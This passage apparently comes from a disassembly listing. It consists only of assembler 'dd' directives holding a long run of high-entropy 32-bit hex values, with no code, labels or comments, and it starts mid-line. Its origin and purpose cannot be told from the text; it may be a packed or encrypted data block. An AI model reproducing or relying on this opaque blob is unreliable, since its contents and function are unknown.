0F742ED4Dh, 4C40DF5Fh dd 5F5737CFh, 46E90B72h, 4755010Eh, 81E02D5Bh, 9FB688E9h dd 25A7D425h, 1F69028Fh, 2AD24A43h, 0CEF7F693h, 61E6A009h dd 90442120h, 0AA22B0E3h, 99F480FAh, 0FB2F7539h, 943FD320h dd 46908239h, 4041280Bh, 8A8F74C4h, 4C35E24Fh, 7EDF06AFh dd 0FC2D8521h, 848AA0B7h, 25719C74h, 5B1ACA29h, 794576F4h dd 597B3EA7h, 7158980Eh, 946CE4Bh, 221B09E9h, 5DE48230h dd 0D3697B99h, 0E54A3E50h, 0B828D90Bh, 1D48071Fh, 3F78969h dd 0D74882FBh, 41EF0193h, 0B02E08EAh, 39132B52h, 0A63077FBh dd 6EFECE46h, 53802C1Dh, 7AE90D3Ch, 0C9A8D25Ah, 51C9CEA7h dd 247D6CD5h, 8BF6F88Dh, 6EB617DDh, 36A4E90Bh, 20AE9601h dd 40F8B57h, 29E8280Ah, 0E0C2DAh, 0AC6259B6h, 0D9F72843h dd 1F5F2AE4h, 0F17E2791h, 0DCC37368h, 7A606671h, 8925580Ch dd 0A7E9163Fh, 3DF2279h, 64E2E140h, 3A4EA62Ch, 1EB74984h dd 0C756B4FFh, 0E9C94106h, 0B738BDD7h, 486355D1h, 0D8AAB451h dd 0E11FB7C4h, 0C1CBF828h, 0DB165D42h, 0A33EC09Fh, 0CC1AB7F0h dd 0D556BDC2h, 0C069562Fh, 4A596851h, 2160F125h, 0FAF4E9D6h dd 8ED0D03Bh, 171CD3A8h, 6E92222Dh, 5C8B405h, 0D359070Eh dd 893E2DABh, 50DDE90Dh, 0CE0BB7ACh, 8AB14C74h, 78F8F4BDh dd 0A04EB219h, 30427F14h, 630C2B04h, 53048E3Fh, 2E68FB01h dd 4083B3AFh, 7C4FE90Fh, 1C2E8F14h, 83929031h, 0AA813CF1h dd 3738A82Dh, 10252210h, 0A84F3012h, 6AF35FEDh, 582F89CCh dd 7D30629Fh, 0BE95279h, 0DDF02F3Fh, 76A2B88h, 0E3808AB1h dd 0BBDCC0D9h, 0D1148FD3h, 81C2A6C1h, 1567ED3h, 34C9DA7Dh dd 880F53A1h, 50476428h, 5194B007h, 0C8A0DDB1h, 9DC73059h dd 75CE1760h, 8BD7FC0h, 0BC7C3E1Eh, 0E64905DBh, 6180FFC1h dd 35E9EE09h, 0CA2CB16Fh, 10B25B6Eh, 844D12D6h, 51EA71FCh dd 685600D1h, 933A12A3h, 4F342154h, 763BB77h, 306864DFh dd 0CA47EDB2h, 9E46063h, 808BBC9Bh, 9845D0F6h, 0F1608972h dd 4660EF12h, 52180179h, 0E365E0BAh, 9FE62026h, 5C281512h dd 0E2B340EAh, 1C6030Dh, 47FC1EC1h, 73A2552h, 91B850E0h dd 2F8BDA53h, 61C616F0h, 0D52176B6h, 20D5215Ah, 0E438ED4Eh dd 320251Dh, 5A306155h, 68586F2h, 451ECEA0h, 290B970Dh dd 50F8A4F3h, 53350257h, 37DE685Dh, 0D42FDEA5h, 729EAE51h dd 0F25EB4Bh, 50FECAFEh, 63408A23h, 60B3EC58h, 61EE492Fh dd 0CB010224h, 5B08D605h, 1530566Ch, 6EBA803Ah, 70CF1212h dd 0ED0CD0FCh, 89808F30h, 4F10712h, 82C50FEh, 2155A24h dd 4B5539FEh, 10B80BE1h, 4D1E44CFh, 0EB0E5A0Ah, 7DAB0D13h dd 0E5E6A557h, 192405A1h, 0A544609Ah, 0A94AF3EAh, 77C140FFh dd 0F0E174Fh, 21049935h, 0F347E954h, 7FF62D81h, 2A394263h dd 21D04F4Bh, 36F68FFh, 0F510BF66h, 135F3B75h, 39AA532Eh dd 0CE72F99Ah, 250FC755h, 0A73954D6h, 0D7EF62F1h, 0E067E3C8h dd 89310AC9h, 65E880BCh, 2508DC76h, 0A5E4FB89h, 1AEDBF07h dd 0F977FA7Eh, 0CDD431C5h, 3087EFC4h, 0E22D070Eh, 4A8CCF6Fh dd 68E142C6h, 777827BEh, 874019DAh, 375CE161h, 3E551082h dd 600CB84Bh, 5B624FB8h, 0D3681461h, 14847844h, 0BA5800D7h dd 5F155654h, 0C038C555h, 7970FA18h, 22663841h, 5B04E94Ch dd 0C24D8255h, 560B2DD3h, 0CE8539F9h, 0C5315C08h, 0B69700B3h dd 0C51BE92Dh, 42465E95h, 4104DFCAh, 81C0E4EAh, 7E05D8C1h dd 0EA47603Bh, 41B5D86h, 486F74CAh, 14508740h, 8F82BA02h dd 0B89EED6h, 17E952CEh, 5A5BF922h, 0E9F0A561h, 519749Bh dd 3715280Bh, 0FE0B580Bh, 5820976Ch, 7A051FEAh, 7D1D6E5Ah dd 4F826885h, 5E891ACDh, 2E684321h, 0D8B7472Dh, 0FB5A4AFAh dd 977E3229h, 2268408Ch, 0F84BE939h, 0C48044C1h, 41DE0070h dd 0D0F12B8Dh, 5756CACAh, 7538647Ah, 58294F51h, 382DF641h dd 0E3905207h, 0E480EB77h, 4324B5FCh, 1B091A30h, 1717D184h dd 4B1680A9h, 0E77FB455h, 5C1356B6h, 9BAD2E75h, 21706D12h dd 0D390A2h, 0B23BEA80h, 8B71F4Fh, 0E09C92E2h, 0D3628760h dd 7ED1CF81h, 0B2BA864h, 0D953D005h, 892536D8h, 0C9809B19h dd 85419D61h, 6800D68Eh, 0E7C41429h, 33B80855h, 106350D8h dd 0BB0C4DE2h, 3CB839A5h, 3DA59402h, 1638F75Fh, 63208CCBh dd 4F3DF0B0h, 9B64B54h, 4382770h, 2CD01DF9h, 975A660Eh dd 87E8FF0Ah, 4080E90Bh, 1649B8D6h, 0AB391924h, 6B90101h dd 94846867h, 84A79E6Dh, 1B8C283h, 0F0D1A8F7h, 755D8132h dd 97A486C5h, 0D413B826h, 4B4A1EC1h, 30E95F70h, 0E62318BFh dd 0EF26454Eh, 3B1D8367h, 0F85A8FC9h, 0C16D4A13h, 0C9CA88D8h dd 6E8E21D4h, 0DD58ABCBh, 53B4BD7Ch, 0D1A62ABBh, 0A27C942Dh dd 0E8E54AB4h, 82DC7A1Eh, 15ED8640h, 1191A17h, 8BCAA8A1h dd 0DE260408h, 488345BDh, 0E8F26069h, 0E9A08D93h, 8CA4FDB8h dd 413C8609h, 0B44EA00Fh, 0B850C563h, 43750F16h, 8EC37658h dd 33507E4Bh, 8C3B4A6Ah, 2BC90321h, 96075869h, 48FC094Ch dd 0B295263h, 9A816F7h, 160D7CA6h, 0F820BF58h, 0BB530361h dd 18FE39FBh, 6B460BD9h, 4978CDE2h, 5D0B7EEBh, 337FF989h dd 0CE6F967h, 0F1D810E9h, 2B1713BAh, 0A7660077h, 0E97E4549h dd 67901F30h, 2E80D0B7h, 9D20EF7h, 6BCE0131h, 2F3EC070h dd 0E1E2DA07h, 0B28F35C0h, 239073F7h, 5260DB0Ch, 13D1FA61h dd 0F12AD240h, 88DFA0Eh, 0C514041Ch, 32DBBF80h, 0FB5FFB16h dd 4F0B5063h, 8AC20252h, 9082656Ah, 9E7F5466h, 59D99755h dd 0BECFE985h, 40F36D98h, 7F00B845h, 0D52FF1Eh, 9D7902h dd 2795051Ch, 92E94FF6h, 68144B9Ah, 0D4E060AAh, 2E720560h dd 948D5EB2h, 13F18360h, 631AB0Bh, 0B7342B4Dh, 1FD4E63Bh dd 8D05202Fh, 8C94CD6Eh, 5A8EDCEEh, 41A5E927h, 296E5623h dd 6857E8A2h, 1D3E5809h, 2465E50h, 39434EF8h, 30BCD05Fh dd 0E78F9E53h, 92DE7D5Dh, 549250CBh, 56219226h, 581ED8Fh dd 36775A5h, 238EF412h, 2E1E417Ah, 0F65F69D1h, 325ED06Eh dd 6BB9014Dh, 0EB83103Fh, 3840AE4Eh, 0C94550C3h, 3B0CC411h dd 0FD7D8473h, 5108401Fh, 1B207EB0h, 0E26AFFABh, 425D7BCEh dd 1BC4A02h, 18DBDC10h, 64D0D721h, 0F1F3C052h, 11BCCD48h dd 82CBD5B0h, 8A8ECCEEh, 0E78180E0h, 0BAE54CE9h, 0C4AFB7B0h dd 0A5A0444Ah, 89420F54h, 0C286DCD1h, 7C0B43E7h, 8EB0329h dd 0FDE2094Ah, 8B0FBEC8h, 67B5ACE3h, 2365F303h, 32E5B02Ch dd 12C22749h, 86BC07F6h, 22061D26h, 2604712Ah, 270798Ch dd 1046C984h, 7DBC42DFh dd 4A804068h, 0B56B4526h, 7A8CD925h, 4484D15Dh, 0A61BA802h dd 7AF20B60h, 66040FADh, 3A0D0367h, 251FD036h, 527380h dd 49C42D19h, 0C729C9B4h, 0DC8B585Fh, 487EE944h, 1C9A7716h dd 68474877h, 9A6B4A70h, 0CCFD5E67h, 0F4A2E8A4h, 0C64047E3h dd 14DBBF0Dh, 0FF1FC30Bh, 0DDD98F10h, 3FF88AAh, 0ED2DFE49h dd 0E49544EBh, 0F0648450h, 1106961Bh, 0DD296136h, 0D0ED5FE4h dd 0E9D5012Dh, 7782C65Dh, 0F392DD67h, 0E03D9002h, 8B330209h dd 67FB1BE0h, 0C78474Ch, 0CEEC77DBh, 523F0CE7h, 30C1959h dd 7475171Fh, 6E50CF02h, 0F66626Ch, 9B4E81CDh, 0A03E31E5h dd 0E70CF539h, 9268E87Fh, 742018DDh, 503D186Ah, 89FE752Fh dd 9BB076D0h, 9610F346h, 5C1629B9h, 3FCBBE57h, 0C913A34Ah dd 0AEC0FF68h, 0CE5ED6E9h, 80A139EDh, 0FF722BDEh, 0F274E3C1h dd 2753DCE2h, 1424B15Fh, 0AD9EA11h, 2148295Bh, 0C2077B06h dd 0E375DAF6h, 28360FA1h, 8918246Fh, 3F1E7AE6h, 6CCA1A40h dd 2114FE2h, 0FFED800Eh, 0FE3AE561h, 0B17ECDh, 0F1107F68h dd 52530941h, 0F219055Bh, 0B4EF6DF4h, 0EAD10F79h, 811BEC9Ch dd 0BE880F45h, 572624Dh, 3F373278h, 0BA5085AFh, 6F027C3h dd 73810FB2h, 0EE970CDAh, 3398208Dh, 20CF8B25h, 8002B1DCh dd 24F772E9h, 5280F6A9h, 0D1C1E0DDh, 55FAB588h, 5352B912h dd 0DA1F4CE8h, 0BAD7565Bh, 0B252A960h, 0B7E92E4Dh, 0EEC18734h dd 76FB8206h, 960E8DEh, 0D2670A32h, 0C6610120h, 3A98F5CEh dd 0F6850D2Dh, 818C72B3h, 682BD9h, 52581BBh, 0F7435E06h dd 8216FFDBh, 26FF4290h, 0F63576E0h, 0E3B9133Dh, 277AF873h dd 87FA475Fh, 33E1F766h, 0AFF4B468h, 0BFC31ADCh, 16D70D42h dd 0E9A3910Fh, 0BB0883D3h, 5A5F09FFh, 3034BEFFh, 0C217A972h dd 83284EFEh, 4558AA3Ch, 87F78119h, 50F0FF2Bh, 10D801B8h dd 0A0E90A8Fh, 34257A43h, 7968C590h, 61371562h, 0BB80F05Fh dd 59201FCDh, 0E9DF310Eh, 7501C9AAh, 0D1918EC5h, 0F885E90Ch dd 0FE4113A7h, 0F0CC9ECh, 51D0F633h, 18697486h, 1D95B90Fh dd 3B80B752h, 0C0FBD88Eh, 348FE9D9h, 86F839A2h, 0E321AD26h dd 0EE4A8990h, 0CE9B130h, 950BC4AEh, 9973A49Dh, 71C16101h dd 3FE1CB81h, 32121E9h, 0FF10A06Ah, 4DFCEE5Fh, 0DA91BAD2h dd 0EB37A49Bh, 9B7B310h, 0C534D568h, 0AF592F65h, 719E1F0Bh dd 0C0D4929Dh, 30B7B22Fh, 0C0586796h, 0E70258E4h, 3F7E5D10h dd 1895B480h, 0CFEEC1AFh, 0F41997E7h, 0C8F0105h, 9C3631EBh dd 82FF25C9h, 0D5792CF6h, 0C0986339h, 1845F92Bh, 453B03E9h dd 283AB1EDh, 0CEC5BAD5h, 0AB977FB9h, 916C5A7Dh, 923AE75Eh dd 0EF15D5FEh, 41FE7065h, 0F78011E9h, 304730EFh, 21820B55h dd 79820156h, 6C911736h, 0B1EF4053h, 0ED3597FEh, 75EEB07Eh dd 0E4C89C54h, 0C8D0D1Eh, 0BD6FABBAh, 7EB8FB17h, 44F9CB4Fh dd 23D0EA9Ch, 0E02E3C08h, 0F08E767h, 8EF53384h, 0A013EF13h dd 20B8128Ah, 0B4424C87h, 699AEFDh, 2568F0CCh, 0C69827EBh dd 80174925h, 0F4703144h, 7407E9C1h, 9A971381h, 0C88B0F12h dd 4420D845h, 80772967h, 5CC26830h, 3A25FEACh, 0F500801Fh dd 1FDBED8Dh, 4CEE2968h, 0B22AF418h, 0CA80F207h, 0BB3AFEEFh dd 3DFC8D08h, 445DC29Eh, 90084183h, 0D0F7F5EDh, 3B0919BCh dd 62E45E33h, 3CD97E93h, 0EA6CD749h, 0C309734Fh, 0A5BB7BACh dd 5F431AFDh, 0CFDA8EE0h, 5EEB1A8h, 30E15348h, 0E4C6D314h dd 1EC45A66h, 8EE1492h, 0EF1BA45Dh, 6DB16D2Ah, 96057232h dd 0ABD034FAh, 0F29742F3h, 9EE5D2A7h, 27D1A840h, 5C64768Eh dd 77176B59h, 19C4E70Dh, 0A6FFA27Ch, 22211FAFh, 2B6ADB68h dd 56643E31h, 0F1405A02h, 0EC5C8007h, 3E8519A2h, 0E2DB41CCh dd 68FF98B0h, 8C284BA6h, 0EDC278CBh, 53BCBE9h, 0AE838053h dd 6051F407h, 0BE5424DEh, 589E30DFh, 49BFA893h, 0A74AC240h dd 1AB82A82h, 0A08B36F1h, 0D7147FF3h, 167C7732h, 20A8D25Eh dd 31987A7Dh, 7F4CA601h, 4225400Ah, 902FEFC4h, 7ED820A1h dd 63780504h, 40EEF24Ah, 11E2EB07h, 294B7DAEh, 80257E1h dd 0B2CEF75Ah, 883C659Dh, 50ACD50Bh, 25D93E08h, 30EEA560h dd 0EAD16395h, 76C9A971h, 488BCFD4h, 0FEFEA3C2h, 0B4E92E56h dd 0E734AEA2h, 0DA8CE208h, 0F68F4E57h, 11B254Bh, 0ED038A64h dd 385A5D91h, 0FF0E054Dh, 0E8454062h, 9004F5Dh, 71847D98h dd 21FD28BDh, 0C0314B83h, 5E6EF574h, 2937D609h, 0E5684EAh dd 287E21BAh, 274C70C3h, 0B92C447Eh, 0F34724E2h, 3287FCE4h dd 12AEA25Fh, 6ACEF501h, 0A273E788h, 32527582h, 0CED45A20h dd 497EDE5Ah, 522102EDh, 2E678F0Fh, 99E6D7C4h, 4356E10h dd 345E6851h, 4F32EBA9h, 0F340DD5Fh, 54813717h, 0BA64E320h dd 67A50408h, 0BB29814Ch, 31364890h, 41A7AFEh, 0CE2E61C9h dd 0C4F0EF72h, 0DAF31F55h, 6EA8B2Ch, 25A71408h, 820EF7Eh dd 5FF8594Bh, 0E9C71673h, 0BA828087h, 0F52D6C34h, 81027C3Bh dd 7A2423C3h, 1A403D44h, 602C156Dh, 82E8259Fh, 53A48B77h dd 0E0D301E2h, 6D68EBE9h, 3DB9003Bh, 0CE81649Dh, 8A751D0Dh dd 99F68079h, 0E97A9039h, 8CF2962Ah, 0DFD3A825h, 0D7E26D20h dd 1F5EB03Bh, 77DADD1Ah, 0CA00C0FAh, 1EB5467Ch, 9491E955h dd 253B26C9h, 0EFE8BDD3h, 5F4C4225h, 0DE95E434h, 716850C4h dd 0B820725Fh, 5BE9F0B0h, 121A13A9h, 9ACAFA66h, 4F095805h dd 0A598BB1Ch, 0F63845D4h, 0B9609051h, 4E85656Eh, 1BFF806h dd 6CCD6791h, 127BCEE9h, 5DD9AEB4h, 37E97D89h, 0D2D20F0h dd 73077DBEh, 6B11CBD8h, 5EC92F58h, 37301A01h, 0FE925D6Eh dd 0D1F792h, 4A396A64h, 68164169h, 0F1CC0B09h, 9B6712C9h dd 8AC70114h, 3E3EC064h, 2CFC68D0h, 6207EB6h, 684DC1E5h dd 0C5001D3Fh, 0BD28D79Ch, 5A5DE931h, 0F4068729h, 5B70AF14h dd 270CB82Dh, 89F71E36h, 4AA2C444h, 0F415E05Bh, 98F8FB5Eh dd 19F3D3B7h, 0E7D70987h, 0DCE90593h, 0B97F4EFh, 0FCB3104Ah dd 0E442F98Bh, 898C775h, 8309D24Fh, 2F35CEAh, 65B9A54h dd 0E1818D76h, 31943CF3h, 1487E120h, 0AF68A90Ah, 7473CA05h dd 1F87BB98h, 846FD6A3h, 50A3A7BFh, 281988B4h, 7725B58h dd 0D1D157E6h, 9AFA5693h, 29EB4A9Ch, 13AB3C0Ch, 0F3682286h dd 66DD1D30h, 61E8125Bh, 2860E95Eh, 0D3E24E4Bh, 87F41292h dd 0FBFC64DCh, 0E648E861h, 1D820F00h, 0EF791363h, 2D34C9E3h dd 5435BD70h, 0B654CEA4h, 0CA890ECAh, 4D955EE4h, 5316BE8h dd 851D26A4h, 0C579D505h, 2F90F1F7h, 522D3303h, 0D8468B27h dd 0C0493985h, 0B6F58A16h, 0E91A5E7Ah, 44419889h, 1372B02Ch dd 5FF16C2h, 0D485F1CCh, 4B9ABA4Fh, 899E8924h, 2BD2EE88h dd 1BA0620h, 0A7B151ACh, 0CC12C180h, 0FE24F7F1h, 850B65C9h dd 12349B47h, 0E35F6F6Eh, 0A4029257h, 0C28E675Ah, 28B0D4A9h dd 0B779A6Ch, 4170E919h, 0C1802912h, 158D0DA5h, 5DAF214Eh dd 33C54527h, 345E813Fh, 0C6CD80F4h, 72B431F6h, 5D8D2C0Fh dd 0FDE98773h, 0A3FC092Eh, 0EA09755Ah, 277C3A80h, 0FCA24F51h dd 6DBFD0F8h, 82E9842Dh, 2CCDF4F1h, 5EAE3617h, 0CA0183CDh dd 6F2DCB1Ah, 47E987Ch, 23D3AEBEh, 6EE5FB29h, 6E8118BDh dd 90E9502Dh, 0FDF950EAh, 0E078689h, 463FBA52h, 0D00938D0h dd 0A4B74EE9h, 7978EAF9h, 67808E4Eh, 0F63DB551h, 20CC7BF5h dd 68270C62h, 8B0DB10h dd 311212ACh, 0B3CCFBF1h, 61773F35h, 6D2E182Dh, 0EA3E08C1h dd 0E38F2146h, 0BC081395h, 0E956A09Eh, 60BCBA74h, 6858305Eh dd 0F99D7C31h, 39E94281h, 0DCBC6E50h, 431F84CFh, 0F4AD37BCh dd 90B57415h, 96A9372Dh, 5EF049F0h, 0A84CCA0Bh, 378C0069h dd 189ECEB3h, 43451568h, 778240C3h, 53094F59h, 0FC5B9A4Fh dd 27EB09F8h, 51CF345Dh, 0AA795E9h, 0B5B2045Dh, 6882ACEDh dd 219E2259h, 17486817h, 57B024F8h, 0E14FB2E9h, 680A7BE2h dd 0B2264AC1h, 6EF15CFAh, 0E47668C2h, 0E5B620D2h, 9F114C9Dh dd 3B4E01D2h, 1EAFB384h, 478ACB57h, 0A761E242h, 40E32DB5h dd 499543DDh, 9D78C226h, 23D752E1h, 713178FDh, 3E3431Ah dd 68050682h, 6491110Ah, 5800FBA6h, 584BEE80h, 3FC0DEF6h dd 0AE2507E6h, 8E058540h, 6C3D6B7Dh, 241B985Ah, 0B876B616h dd 9AF14F9Ah, 0C4464028h, 73011627h, 29B4A05Eh, 0B48DF81h dd 77C89B44h, 14B1295h, 0C664A321h, 46C9DF07h, 68174DCEh dd 7F601F90h, 481348A8h, 135A94Fh, 0EE7E8227h, 1C6F4657h dd 4F7F48C9h, 0A3EBFE29h, 552DC8DCh, 0E849D9BCh, 0D65A2700h dd 68F16C16h, 665B2A25h, 962495Dh, 0BD4A8B3Ah, 0BDE9F074h dd 0BC3E9174h, 224DEB12h, 78C103B3h, 0FEE2D7A4h, 0F74D625Fh dd 74EEEE11h, 0F87729ECh, 0FB752F27h, 4D26E7h, 765D5816h dd 5B02D831h, 54E29B05h, 4A237014h, 0BF5EF053h, 0C6A520B5h dd 0B8A206A8h, 0B2F34F97h, 0A7058006h, 9776669h, 9621252Dh dd 0CAD81007h, 20A42407h, 0BD8BB512h, 2A573A11h, 0BC4AD1B7h dd 43291A99h, 0BA6EF70Fh, 5C773A20h, 4812B954h, 0F2114C06h dd 505A5E55h, 2D3560EEh, 0ED344D51h, 7129976h, 0FFA4ABACh dd 41AA5BD8h, 2E8831EBh, 0A1B49DECh, 0D0BD0168h, 0E08E3B92h dd 765F5D7Eh, 0A3C0522Dh, 6764C50Fh, 68026A18h, 0E65D18AAh dd 0BFEBE6ACh, 57C1D413h, 0DA957ED0h, 0F0126532h, 0BC584EF1h dd 2D005875h, 0C5F8A73Dh, 4E451A61h, 0B23A84ECh, 8AF23C5Ch dd 6566AD17h, 0E34E80D4h, 281D7AD3h, 42CC0F38h, 5AE49D1Ch dd 7ABC3301h, 316654C0h, 49BBD34Bh, 8BDDEDB8h, 650E59FBh dd 2E5BE149h, 86E467BCh, 2741BAF8h, 4914DC2Fh, 438BB562h dd 821F5920h, 668E53C3h, 9240CA56h, 3965765Ah, 0AD4E60E9h dd 6855C59Fh, 26A0A4BAh, 0FE60EAAAh, 5BD68292h, 0AD6925AEh dd 65A88482h, 149B43FBh, 0F1A86450h, 6D986932h, 0F5E0EB0h dd 1537DB85h, 86AC5AA7h, 0DA01125Fh, 0D0C88C50h, 8897C90h dd 0E931E8C1h, 7C8C6C2Dh, 0A05DD201h, 4482B806h, 313E90F0h dd 907B2663h, 0E428111Eh, 40B05203h, 0D6B70111h, 1CC640CDh dd 804F47B7h, 0E93ED4F2h, 0E166A7AFh, 124D8CC8h, 34C0AE5Fh dd 0BC012EBBh, 88F6730h, 4D8C246Fh, 862BCDA1h, 0B62D249Fh dd 526292Bh, 5FB45EF2h, 0EC73145Ah, 6F09DF61h, 0D8819E66h dd 0E03E3DEDh, 50B509DBh, 0C56974ACh, 0A36439E5h, 1EDB18AEh dd 1E9F2D92h, 933CA10Eh, 5A1FF070h, 0B4CC14BFh, 3B448801h dd 27157C69h, 71EBB37Ch, 0FA519324h, 0AC2A2539h, 0CB6C126Dh dd 0ECDED9AAh, 8FAE5019h, 12FC211h, 4607684h, 68D4D6E9h dd 8150F587h, 28544BCFh, 5095192h, 0FB134EFh, 0DC03FA9Ah dd 279B7EE9h, 0A4DF55A1h, 41EE5E66h, 3F76F42Dh, 716146Eh dd 95834AFh, 665F0ACAh, 337E37C8h, 3D4FE249h, 166EDFAAh dd 6BD3BB0Dh, 7472FA9Ah, 0F328002Bh, 0B968505Ah, 4AD17453h dd 0E2C0E2FCh, 0C12C5B58h, 0C0C3E917h, 0BC1F36E4h, 5A3E607Dh dd 31064719h, 9A7FE9FAh, 4565BF1Eh, 60B16804h, 0C89A968Dh dd 0EB828FB8h, 0F006861h, 9AAB9288h, 0E8F2058Ch, 126F662h dd 5A248488h, 0D5F860E7h, 4B3163BFh, 471D1F9Ch, 0F303E2C1h dd 65F36852h, 83837BE7h, 51033C06h, 0BFF2E2C2h, 582BDA08h dd 9FF49508h, 267603EBh, 0D0150288h, 0EB045A66h, 0A8094DE1h dd 0A0B3F34h, 847E734Ch, 0D9BA13CCh, 0C0F66CB5h, 0A4625B2Dh dd 0DC58BD57h, 0A0665325h, 6A0A0C8Ah, 6E9A9036h, 18C51775h dd 1329BD41h, 0E96072D3h, 507F1299h, 9F38E71h, 316F2F1Bh dd 0C686A81h, 1F500101h, 0A5C8B211h, 0F0BFE13Fh, 6E8DDEBh dd 981BE16h, 24D66243h, 49A1E600h, 130F695Eh, 0B44D1386h dd 0E04BCB9h, 0F5316445h, 6C9F1CBCh, 4308067Ch, 0E20B0C42h dd 0D618FE5Bh, 0D1560C02h, 0EF09E341h, 84106C2Bh, 53A8A600h dd 12C9A8C4h, 84BD87AAh, 13B3A219h, 0BB41D7E9h, 5C39F080h dd 0B593996h, 303042C3h, 1C3E1741h, 22B965Ah, 0BB0031A3h dd 10944A66h, 6305A7BFh, 0DF31582Fh, 92F29CBh, 0C1C342F6h dd 40BAF5EDh, 0BC563108h, 3C9229E5h, 660C1A29h, 0F326270Dh dd 9BFAC940h, 0BF8BB75Eh, 2E5B2289h, 0B82AFD00h, 0D4DBF723h dd 0A9041904h, 82348754h, 0AD52288Dh, 24030120h, 0E5FCDF68h dd 0C19F4509h, 819709E1h, 6FFF7C62h, 0E412CEEh, 0FA1C79EEh dd 0E98CC6BAh, 0E73BBA32h, 6B8CA9DEh, 0E2B5782Bh, 8085A1C0h dd 0ECC05FCDh, 70C1EC59h, 90E17B69h, 5340965Fh, 0C881A3C3h dd 951D2F53h, 55E188C9h, 3BEA8EB1h, 0E425009h, 728CE122h dd 7E965F0Dh, 4BD9DE1Eh, 0F992D45Dh, 466E49FBh, 51683B60h dd 5624064Bh, 569CEB53h, 0E9510D55h, 3F2BA8CDh, 94C12500h dd 0FC37DB49h, 0EA4C526Fh, 0F73E7C05h, 0C1C0E051h, 0FB25C778h dd 27F22Dh, 621B0F1h, 3B6D683Ah, 7B08C697h, 277F326Eh dd 23568AA2h, 34817772h, 603F10DEh, 0BE41298Ch, 0A1D48701h dd 978F893Fh, 4CAC6FF4h, 48AAA3D2h, 5FA01221h, 7305CA90h dd 2982000Bh, 9D685653h, 74580440h, 0D0D21717h, 0F29209B3h dd 24B89234h, 8BC047E2h, 18979563h, 0AA1C8515h, 6B6240ABh dd 0F2B98012h, 640E4705h, 54C9D1F7h, 4AAB83Ah, 15EA4D38h dd 0E658580h, 453A2EF2h, 0F5490230h, 0BD49F3B8h, 0D8A37E5Ah dd 847F9F58h, 0BAB18E26h, 31627787h, 85895739h, 532F7E5Bh dd 0FD5997CFh, 4BAE4C14h, 0D9F664C1h, 79604BCh, 0C2DA56C9h dd 102C700h, 3A4CF7FEh, 0CE628C94h, 71AAF659h, 5141802Fh dd 0C923AAB9h, 8778D41Dh, 1359110h, 0F022F381h, 0B12AB369h dd 0DA6928D5h, 0F3F3776Ch, 0D8914F03h, 0F9C5B0CCh, 182B6E62h dd 20676DC7h, 0CED9E968h, 3EA64991h, 440FF602h, 8FE18101h dd 7D8186BCh, 0B402BAC7h, 3C81707Ch, 842E3D5Ch, 40D80795h dd 0B289431h, 6477EE87h, 9E51A0C1h, 6F5D818Eh, 1C208F8Eh dd 0EDB3E913h, 0C10BC6E9h, 6D0005EAh, 338E1CA5h, 0E92E5CB0h dd 7127B5C8h, 0DCC48EE1h, 5E112FFEh, 0D2A23BC7h, 97F1E9C3h dd 0E4EBD92Fh, 0F95220D9h, 2DB1664Ch, 778E8B17h, 0E9271D36h dd 5700628Ch, 1612CB6Fh, 0E50414Bh, 5FCC3C3Dh, 25CA7E52h dd 0A8FED867h, 0C0645401h, 39F40F51h, 0FC58D604h, 0C1C7978Fh dd 0F68627FBh, 0BD28D4DBh, 0D71B1097h, 3382C612h, 12DD883Fh dd 0D6901378h, 48965C7Dh, 0B000A02Bh, 68163C3Ah, 0A3B40239h dd 0A2B7A067h, 5044D569h, 0AC0AE83Fh, 601C21Bh, 3B86F905h dd 5D2CE9FCh, 8B41B527h, 0BC05E40Dh, 183ECBAEh, 0BB0A6EA2h dd 3A7D021Eh, 7E3C139h, 0FC2F8781h, 0C2AD60C5h, 5C435401h dd 0FB9AE935h, 6C25AA66h, 89666241h, 0F858D334h, 9AF89F63h dd 956C3722h, 1029189h, 9477995Bh, 0FBF39033h, 0EB379204h dd 3DA4CCDEh, 3D8C92Dh, 5E4CDFC6h, 289A48B0h, 381C132Eh dd 4FB85060h, 23F2C26h dd 0B4B309DCh, 0E1B0D482h, 0DF68100h, 703B2D88h, 0C827F8FEh dd 9F8F8A69h, 25FE246h, 46CFE020h, 0BA7B5CD2h, 0A13E1E01h dd 2EE1E969h, 0CDFAA513h, 3682F3A0h, 0E5AFF7CDh, 645C166Dh dd 0AB81BFCFh, 475767B2h, 0D10B3482h, 786580CBh, 4C01397Eh dd 59281095h, 0E3969350h, 0AB1363E2h, 8EE45BDDh, 0B917C7F2h dd 77AF81F0h, 0E9FEC41h, 97AC1C9Fh, 68851BF1h, 4E521693h dd 988D5CEBh, 0A2BA167Dh, 114C7972h, 5D2CC023h, 0A1421ED1h dd 0B73A04E5h, 28680AC4h, 0FC0C71Bh, 39592A4Fh, 0D8B8EB9h dd 21553150h, 0F2B7E974h, 5D97882Bh, 2D72CFB5h, 0C0A69AC5h dd 66726309h, 22AF0FA1h, 0FE021054h, 0C1AF44E9h, 0C2463B80h dd 0CF04815Fh, 644936AFh, 8ACA90BFh, 544BF235h, 406D28F0h dd 0C57A80C7h, 765AABF0h, 9229F0F4h, 0E155E9A0h, 5AE5A014h dd 0C631E505h, 6435C9DCh, 0AFE39F68h, 0E5913AE2h, 17CA7310h dd 30E8D6F7h, 0D56B00D3h, 413AEF0Eh, 789D6CB0h, 47ED0FF7h dd 77093903h, 0F94E6241h, 4E9928F3h, 5C89ADE7h, 153660F5h dd 96E9263Bh, 13D44255h, 0C7299182h, 7E709FC1h, 0CACCD823h dd 29B6CA1Eh, 0DCEFFDD8h, 65BB1416h, 0DF82BEEBh, 123564Dh dd 50685D54h, 0ABE37E06h, 0E71FF085h, 0CD891473h, 6C3D18B7h dd 0C7C33027h, 6D68AD90h, 74F56029h, 368BE09Ch, 3F56E72Dh dd 0BC493A34h, 22F738F3h, 28AD20D0h, 91890F0Ch, 5EDA31EFh dd 0C394F9FFh, 0F143C4B5h, 27961927h, 0EA6C13A7h, 0B7DC09D8h dd 0BD8D60Bh, 53F39538h, 95344A12h, 0A43AC4C9h, 0C24ABC1Dh dd 530C65FAh, 0B533E8D9h, 20F1CCEAh, 0ADE107BFh, 2F89C963h dd 29C4E829h, 74B4BA4Fh, 5AEE26C3h, 0FF29134Eh, 13082210h dd 55F1E3E9h, 0C9E4F6FEh, 1D202458h, 5CC29709h, 5C32B976h dd 5FA7C1Ah, 443AC168h, 721F490h, 32BC315Fh, 0EE29A61h dd 50C78853h, 0C30CF86Ch, 5B62DEF0h, 0D10EAF24h, 2F952664h dd 507149DEh, 0D729804Ch, 8151F960h, 0EA7C51BBh, 1CB0430h dd 2E806E9Ah, 34A28D0Fh, 0D307F79Ch, 4F9DBE56h, 58517490h dd 